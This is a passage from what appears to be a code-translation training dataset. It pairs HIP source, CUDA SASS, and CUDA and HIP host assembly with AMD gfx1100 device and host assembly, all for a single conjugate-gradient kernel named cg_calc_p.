.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z9cg_calc_piiidPKdPd, .Lfunc_end0-_Z9cg_calc_piiidPKdPd
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .offset: 0
.size: 4
.value_kind: by_value
- .offset: 4
.size: 4
.value_kind: by_value
- .offset: 8
.size: 4
.value_kind: by_value
- .offset: 16
.size: 8
.value_kind: by_value
- .address_space: global
.offset: 24
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 32
.size: 8
.value_kind: global_buffer
- .offset: 40
.size: 4
.value_kind: hidden_block_count_x
- .offset: 44
.size: 4
.value_kind: hidden_block_count_y
- .offset: 48
.size: 4
.value_kind: hidden_block_count_z
- .offset: 52
.size: 2
.value_kind: hidden_group_size_x
- .offset: 54
.size: 2
.value_kind: hidden_group_size_y
- .offset: 56
.size: 2
.value_kind: hidden_group_size_z
- .offset: 58
.size: 2
.value_kind: hidden_remainder_x
- .offset: 60
.size: 2
.value_kind: hidden_remainder_y
- .offset: 62
.size: 2
.value_kind: hidden_remainder_z
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 96
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 104
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 296
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z9cg_calc_piiidPKdPd
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z9cg_calc_piiidPKdPd.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 6
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void cg_calc_p( const int x_inner, const int y_inner, const int halo_depth, const double beta, const double* r, double* p)
{
const int gid = threadIdx.x+blockIdx.x*blockDim.x;
if(gid >= x_inner*y_inner) return;
const int x = x_inner + 2*halo_depth;
const int col = gid % x_inner;
const int row = gid / x_inner;
const int off0 = halo_depth*(x + 1);
const int index = off0 + col + row*x;
p[index] = r[index] + beta*p[index];
} | .text
.file "cg_calc_p.hip"
.globl _Z24__device_stub__cg_calc_piiidPKdPd # -- Begin function _Z24__device_stub__cg_calc_piiidPKdPd
.p2align 4, 0x90
.type _Z24__device_stub__cg_calc_piiidPKdPd,@function
_Z24__device_stub__cg_calc_piiidPKdPd: # @_Z24__device_stub__cg_calc_piiidPKdPd
.cfi_startproc
# %bb.0:
subq $152, %rsp
.cfi_def_cfa_offset 160
movl %edi, 20(%rsp)
movl %esi, 16(%rsp)
movl %edx, 12(%rsp)
movsd %xmm0, 88(%rsp)
movq %rcx, 80(%rsp)
movq %r8, 72(%rsp)
leaq 20(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 12(%rsp), %rax
movq %rax, 112(%rsp)
leaq 88(%rsp), %rax
movq %rax, 120(%rsp)
leaq 80(%rsp), %rax
movq %rax, 128(%rsp)
leaq 72(%rsp), %rax
movq %rax, 136(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z9cg_calc_piiidPKdPd, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $168, %rsp
.cfi_adjust_cfa_offset -168
retq
.Lfunc_end0:
.size _Z24__device_stub__cg_calc_piiidPKdPd, .Lfunc_end0-_Z24__device_stub__cg_calc_piiidPKdPd
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z9cg_calc_piiidPKdPd, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z9cg_calc_piiidPKdPd,@object # @_Z9cg_calc_piiidPKdPd
.section .rodata,"a",@progbits
.globl _Z9cg_calc_piiidPKdPd
.p2align 3, 0x0
_Z9cg_calc_piiidPKdPd:
.quad _Z24__device_stub__cg_calc_piiidPKdPd
.size _Z9cg_calc_piiidPKdPd, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z9cg_calc_piiidPKdPd"
.size .L__unnamed_1, 22
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z24__device_stub__cg_calc_piiidPKdPd
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z9cg_calc_piiidPKdPd
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z9cg_calc_piiidPKdPd
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ IMAD.MOV.U32 R1, RZ, RZ, c[0x0][0x28] ; /* 0x00000a00ff017624 */
/* 0x000fe400078e00ff */
/*0010*/ S2R R0, SR_TID.X ; /* 0x0000000000007919 */
/* 0x000e220000002100 */
/*0020*/ ULDC.64 UR4, c[0x0][0x160] ; /* 0x0000580000047ab9 */
/* 0x000fe40000000a00 */
/*0030*/ UIMAD UR4, UR5, UR4, URZ ; /* 0x00000004050472a4 */
/* 0x000fe2000f8e023f */
/*0040*/ S2R R3, SR_CTAID.X ; /* 0x0000000000037919 */
/* 0x000e240000002500 */
/*0050*/ IMAD R0, R3, c[0x0][0x0], R0 ; /* 0x0000000003007a24 */
/* 0x001fca00078e0200 */
/*0060*/ ISETP.GE.AND P0, PT, R0, UR4, PT ; /* 0x0000000400007c0c */
/* 0x000fda000bf06270 */
/*0070*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0080*/ IABS R5, c[0x0][0x160] ; /* 0x0000580000057a13 */
/* 0x000fe20000000000 */
/*0090*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fc60000000a00 */
/*00a0*/ I2F.RP R4, R5 ; /* 0x0000000500047306 */
/* 0x000e300000209400 */
/*00b0*/ MUFU.RCP R4, R4 ; /* 0x0000000400047308 */
/* 0x001e240000001000 */
/*00c0*/ IADD3 R2, R4, 0xffffffe, RZ ; /* 0x0ffffffe04027810 */
/* 0x001fcc0007ffe0ff */
/*00d0*/ F2I.FTZ.U32.TRUNC.NTZ R3, R2 ; /* 0x0000000200037305 */
/* 0x000064000021f000 */
/*00e0*/ HFMA2.MMA R2, -RZ, RZ, 0, 0 ; /* 0x00000000ff027435 */
/* 0x001fe200000001ff */
/*00f0*/ IMAD.MOV R6, RZ, RZ, -R3 ; /* 0x000000ffff067224 */
/* 0x002fc800078e0a03 */
/*0100*/ IMAD R7, R6, R5, RZ ; /* 0x0000000506077224 */
/* 0x000fe200078e02ff */
/*0110*/ IABS R6, R0 ; /* 0x0000000000067213 */
/* 0x000fc80000000000 */
/*0120*/ IMAD.HI.U32 R3, R3, R7, R2 ; /* 0x0000000703037227 */
/* 0x000fe200078e0002 */
/*0130*/ LOP3.LUT R2, R0, c[0x0][0x160], RZ, 0x3c, !PT ; /* 0x0000580000027a12 */
/* 0x000fc800078e3cff */
/*0140*/ ISETP.GE.AND P1, PT, R2, RZ, PT ; /* 0x000000ff0200720c */
/* 0x000fe20003f26270 */
/*0150*/ IMAD.HI.U32 R3, R3, R6, RZ ; /* 0x0000000603037227 */
/* 0x000fe200078e00ff */
/*0160*/ MOV R2, c[0x0][0x168] ; /* 0x00005a0000027a02 */
/* 0x000fc60000000f00 */
/*0170*/ IMAD.MOV R4, RZ, RZ, -R3 ; /* 0x000000ffff047224 */
/* 0x000fe200078e0a03 */
/*0180*/ LEA R2, R2, c[0x0][0x160], 0x1 ; /* 0x0000580002027a11 */
/* 0x000fc600078e08ff */
/*0190*/ IMAD R4, R5, R4, R6 ; /* 0x0000000405047224 */
/* 0x000fca00078e0206 */
/*01a0*/ ISETP.GT.U32.AND P2, PT, R5, R4, PT ; /* 0x000000040500720c */
/* 0x000fda0003f44070 */
/*01b0*/ @!P2 IMAD.IADD R4, R4, 0x1, -R5 ; /* 0x000000010404a824 */
/* 0x000fe200078e0a05 */
/*01c0*/ @!P2 IADD3 R3, R3, 0x1, RZ ; /* 0x000000010303a810 */
/* 0x000fe40007ffe0ff */
/*01d0*/ ISETP.NE.AND P2, PT, RZ, c[0x0][0x160], PT ; /* 0x00005800ff007a0c */
/* 0x000fe40003f45270 */
/*01e0*/ ISETP.GE.U32.AND P0, PT, R4, R5, PT ; /* 0x000000050400720c */
/* 0x000fda0003f06070 */
/*01f0*/ @P0 IADD3 R3, R3, 0x1, RZ ; /* 0x0000000103030810 */
/* 0x000fc80007ffe0ff */
/*0200*/ MOV R5, R3 ; /* 0x0000000300057202 */
/* 0x000fe40000000f00 */
/*0210*/ IADD3 R3, R2, 0x1, RZ ; /* 0x0000000102037810 */
/* 0x000fc60007ffe0ff */
/*0220*/ @!P1 IMAD.MOV R5, RZ, RZ, -R5 ; /* 0x000000ffff059224 */
/* 0x000fe200078e0a05 */
/*0230*/ @!P2 LOP3.LUT R5, RZ, c[0x0][0x160], RZ, 0x33, !PT ; /* 0x00005800ff05aa12 */
/* 0x000fca00078e33ff */
/*0240*/ IMAD.MOV R7, RZ, RZ, -R5 ; /* 0x000000ffff077224 */
/* 0x000fc800078e0a05 */
/*0250*/ IMAD R0, R7, c[0x0][0x160], R0 ; /* 0x0000580007007a24 */
/* 0x000fe200078e0200 */
/*0260*/ HFMA2.MMA R7, -RZ, RZ, 0, 4.76837158203125e-07 ; /* 0x00000008ff077435 */
/* 0x000fc600000001ff */
/*0270*/ IMAD R0, R3, c[0x0][0x168], R0 ; /* 0x00005a0003007a24 */
/* 0x000fc800078e0200 */
/*0280*/ IMAD R0, R2, R5, R0 ; /* 0x0000000502007224 */
/* 0x000fc800078e0200 */
/*0290*/ IMAD.WIDE R2, R0, R7, c[0x0][0x178] ; /* 0x00005e0000027625 */
/* 0x000fc800078e0207 */
/*02a0*/ IMAD.WIDE R4, R0, R7, c[0x0][0x180] ; /* 0x0000600000047625 */
/* 0x000fe400078e0207 */
/*02b0*/ LDG.E.64 R2, [R2.64] ; /* 0x0000000402027981 */
/* 0x000ea8000c1e1b00 */
/*02c0*/ LDG.E.64 R6, [R4.64] ; /* 0x0000000404067981 */
/* 0x000ea4000c1e1b00 */
/*02d0*/ DFMA R6, R6, c[0x0][0x170], R2 ; /* 0x00005c0006067a2b */
/* 0x004e0e0000000002 */
/*02e0*/ STG.E.64 [R4.64], R6 ; /* 0x0000000604007986 */
/* 0x001fe2000c101b04 */
/*02f0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0300*/ BRA 0x300; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0310*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0320*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0330*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0340*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0350*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0360*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0370*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0380*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0390*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*03f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z9cg_calc_piiidPKdPd
.globl _Z9cg_calc_piiidPKdPd
.p2align 8
.type _Z9cg_calc_piiidPKdPd,@function
_Z9cg_calc_piiidPKdPd:
s_clause 0x1
s_load_b32 s4, s[0:1], 0x34
s_load_b64 s[2:3], s[0:1], 0x0
s_waitcnt lgkmcnt(0)
s_and_b32 s4, s4, 0xffff
s_mul_i32 s3, s3, s2
v_mad_u64_u32 v[1:2], null, s15, s4, v[0:1]
s_delay_alu instid0(VALU_DEP_1)
v_cmp_gt_i32_e32 vcc_lo, s3, v1
s_and_saveexec_b32 s3, vcc_lo
s_cbranch_execz .LBB0_2
s_ashr_i32 s3, s2, 31
v_ashrrev_i32_e32 v3, 31, v1
s_add_i32 s4, s2, s3
s_load_b32 s8, s[0:1], 0x8
s_xor_b32 s4, s4, s3
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_add_nc_u32_e32 v4, v1, v3
v_cvt_f32_u32_e32 v0, s4
s_sub_i32 s5, 0, s4
v_xor_b32_e32 v4, v4, v3
s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_3) | instid1(VALU_DEP_1)
v_rcp_iflag_f32_e32 v0, v0
v_xor_b32_e32 v3, s3, v3
s_waitcnt_depctr 0xfff
v_mul_f32_e32 v0, 0x4f7ffffe, v0
v_cvt_u32_f32_e32 v0, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_lo_u32 v2, s5, v0
v_mul_hi_u32 v2, v0, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_nc_u32_e32 v0, v0, v2
v_mul_hi_u32 v0, v4, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_lo_u32 v2, v0, s4
v_sub_nc_u32_e32 v2, v4, v2
v_add_nc_u32_e32 v4, 1, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_1) | instid1(VALU_DEP_3)
v_subrev_nc_u32_e32 v5, s4, v2
v_cmp_le_u32_e32 vcc_lo, s4, v2
v_cndmask_b32_e32 v0, v0, v4, vcc_lo
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_2)
v_cndmask_b32_e32 v2, v2, v5, vcc_lo
v_add_nc_u32_e32 v4, 1, v0
s_delay_alu instid0(VALU_DEP_2)
v_cmp_le_u32_e32 vcc_lo, s4, v2
s_load_b128 s[4:7], s[0:1], 0x10
s_waitcnt lgkmcnt(0)
s_lshl_b32 s3, s8, 1
s_load_b64 s[0:1], s[0:1], 0x20
v_cndmask_b32_e32 v0, v0, v4, vcc_lo
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_xor_b32_e32 v0, v0, v3
v_sub_nc_u32_e32 v0, v0, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(SALU_CYCLE_1)
v_mul_lo_u32 v2, v0, s2
s_add_i32 s2, s3, s2
v_mul_lo_u32 v0, v0, s2
s_add_i32 s2, s2, 1
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(VALU_DEP_2)
s_mul_i32 s2, s2, s8
v_sub_nc_u32_e32 v1, v1, v2
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add3_u32 v0, v1, s2, v0
v_ashrrev_i32_e32 v1, 31, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[0:1], 3, v[0:1]
v_add_co_u32 v2, vcc_lo, s6, v0
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v3, vcc_lo, s7, v1, vcc_lo
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s0, v0
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_load_b64 v[2:3], v[2:3], off
global_load_b64 v[4:5], v[0:1], off
s_waitcnt vmcnt(0)
v_fma_f64 v[2:3], v[4:5], s[4:5], v[2:3]
global_store_b64 v[0:1], v[2:3], off
.LBB0_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z9cg_calc_piiidPKdPd
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 296
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 6
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z9cg_calc_piiidPKdPd, .Lfunc_end0-_Z9cg_calc_piiidPKdPd
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .offset: 0
.size: 4
.value_kind: by_value
- .offset: 4
.size: 4
.value_kind: by_value
- .offset: 8
.size: 4
.value_kind: by_value
- .offset: 16
.size: 8
.value_kind: by_value
- .address_space: global
.offset: 24
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 32
.size: 8
.value_kind: global_buffer
- .offset: 40
.size: 4
.value_kind: hidden_block_count_x
- .offset: 44
.size: 4
.value_kind: hidden_block_count_y
- .offset: 48
.size: 4
.value_kind: hidden_block_count_z
- .offset: 52
.size: 2
.value_kind: hidden_group_size_x
- .offset: 54
.size: 2
.value_kind: hidden_group_size_y
- .offset: 56
.size: 2
.value_kind: hidden_group_size_z
- .offset: 58
.size: 2
.value_kind: hidden_remainder_x
- .offset: 60
.size: 2
.value_kind: hidden_remainder_y
- .offset: 62
.size: 2
.value_kind: hidden_remainder_z
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 96
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 104
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 296
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z9cg_calc_piiidPKdPd
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z9cg_calc_piiidPKdPd.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 6
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_000537b1_00000000-6_cg_calc_p.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd
.type _Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd, @function
_Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd:
.LFB2051:
.cfi_startproc
endbr64
subq $184, %rsp
.cfi_def_cfa_offset 192
movl %edi, 44(%rsp)
movl %esi, 40(%rsp)
movl %edx, 36(%rsp)
movsd %xmm0, 24(%rsp)
movq %rcx, 16(%rsp)
movq %r8, 8(%rsp)
movq %fs:40, %rax
movq %rax, 168(%rsp)
xorl %eax, %eax
leaq 44(%rsp), %rax
movq %rax, 112(%rsp)
leaq 40(%rsp), %rax
movq %rax, 120(%rsp)
leaq 36(%rsp), %rax
movq %rax, 128(%rsp)
leaq 24(%rsp), %rax
movq %rax, 136(%rsp)
leaq 16(%rsp), %rax
movq %rax, 144(%rsp)
leaq 8(%rsp), %rax
movq %rax, 152(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
movl $1, 72(%rsp)
movl $1, 76(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
leaq 56(%rsp), %rcx
leaq 48(%rsp), %rdx
leaq 76(%rsp), %rsi
leaq 64(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 168(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $184, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 56(%rsp)
.cfi_def_cfa_offset 200
pushq 56(%rsp)
.cfi_def_cfa_offset 208
leaq 128(%rsp), %r9
movq 92(%rsp), %rcx
movl 100(%rsp), %r8d
movq 80(%rsp), %rsi
movl 88(%rsp), %edx
leaq _Z9cg_calc_piiidPKdPd(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 192
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd, .-_Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd
.globl _Z9cg_calc_piiidPKdPd
.type _Z9cg_calc_piiidPKdPd, @function
_Z9cg_calc_piiidPKdPd:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z35__device_stub__Z9cg_calc_piiidPKdPdiiidPKdPd
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z9cg_calc_piiidPKdPd, .-_Z9cg_calc_piiidPKdPd
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z9cg_calc_piiidPKdPd"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z9cg_calc_piiidPKdPd(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "cg_calc_p.hip"
.globl _Z24__device_stub__cg_calc_piiidPKdPd # -- Begin function _Z24__device_stub__cg_calc_piiidPKdPd
.p2align 4, 0x90
.type _Z24__device_stub__cg_calc_piiidPKdPd,@function
_Z24__device_stub__cg_calc_piiidPKdPd: # @_Z24__device_stub__cg_calc_piiidPKdPd
.cfi_startproc
# %bb.0:
subq $152, %rsp
.cfi_def_cfa_offset 160
movl %edi, 20(%rsp)
